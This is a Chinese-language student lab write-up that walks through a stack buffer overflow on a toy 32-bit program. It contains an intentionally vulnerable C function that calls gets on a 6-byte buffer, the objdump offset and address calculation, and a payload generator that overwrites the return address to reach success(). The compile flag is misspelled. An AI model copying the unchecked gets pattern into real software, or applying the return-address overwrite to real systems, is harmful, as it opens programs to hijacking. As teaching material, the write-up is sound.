原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。缓冲区是内存的一部分空间,用来缓冲输入输出的数据,缓冲区增长方向是从低到高的,与栈相反,所以如果写入的数据大小没有被良好地控制,超过缓冲区大小,就会覆盖栈的内容,轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。
环境
Ubuntu 14.04、gcc 4.8.4、 gdb 7.7.1
实验设计
首先设计两个函数,有漏洞的函数vulnerable和我们要夺取控制权的函数success。
Vulnerable中定义一个较小的字符数组(方便溢出)和一个int变量,用于覆盖局部变量实验。然后调用有漏洞的函数gets获取用户的输入存入字符数组,使用printf打印int变量的值,puts输出用户的输入。
Success只打印一句话表明实验成功。
在main函数中只调用vulnerable函数,然后结束程序。
正常情况下执行程序,用户输入数据之后,程序会打印x的值0,输出“hello 0”,然后输出用户输入的数据,程序结束。
我们的目的是输入过长的数据,覆盖局部变量和函数返回地址,将函数返回地址更改为success的地址,这样程序就会执行本不该执行的success函数,输出“stack overflow attack success.”。
这里有两个问题,一是确定输入数据的长度,使之刚好覆盖到返回地址,二是确定success的地址。通过反编译可以解决这两个问题。
实验过程如下,首先编写程序stack_overflow.c,内容如上所述,使用
gcc -g -m32 -fno-stack-protecter stack_overflow.c -o stack_overflow
编译该程序。-g表示添加调试信息,方便gdb调试,-m32表示生成32位程序,-fno-stack-protecter表示不开启堆栈保护,并且没有开启ASLR保护。
然后使用
objdump -S stack_overflow
命令查看程序的信息,重点内容如下:
可以看到success函数的地址为0x0804848f,字符数组s的首地址为ebp-0x12,这样就可以确定注入向量的长度为0x12+0x4(ebp的长度),所以注入向量为0x12*’a’+ ‘bbbb’+0x0804848f,但是该向量是不能直接用的,一是因为计算机内存中一般采用小端存储,所以0x0804848f实际是\x8f\x84\x04\x08,但是我们也不能直接输入0x12*’a’+ ‘bbbb’+\x8f\x84\x04\x08,因为终端会将\和x作为单独的字符读入,而我们要将\x8f作为一个字符输入,所以解决方法如下(终端不能输入我们要构造的函数地址,解决办法是通过文件传递数据):
使用如上程序将注入向量写入文件,然后将文件内容作为参数传递给stack_overflow程序,实现攻击。
实验结果与分析
查看栈的信息如下(误):
- 正常情况
可以看到输入“world”之后,程序输入“hello 0”,局部变量x的值为0,然后输出我们输入的“world”。 - 栈溢出
可以看到x的值被覆盖为”aaaa”(a的ascii为97,其16进制为0x61),并且成功执行了success函数,输出了提示信息。
代码
- stack_overflow.c
//stack_overflow.c
#include <stdio.h>
#include <string.h>
void vulnerable();
void success();
int main(int argc, char **argv)
{
vulnerable();
return 0;
}
void success()
{
puts("\nStack overflow attack success.\n");
}
void vulnerable()
{
char s[6];
int x = 0;
gets(s);
printf("hello %x\n",x);
puts(s);
}
- input.c
//input.c
#include<stdio.h>
int main(void)
{
puts("aaaaaaaaaaaaaaaaaabbbb\x8f\x84\x04\x08");
return 0;
}
说明
课程作业,仅作记录。
参考文章找不到了?,侵删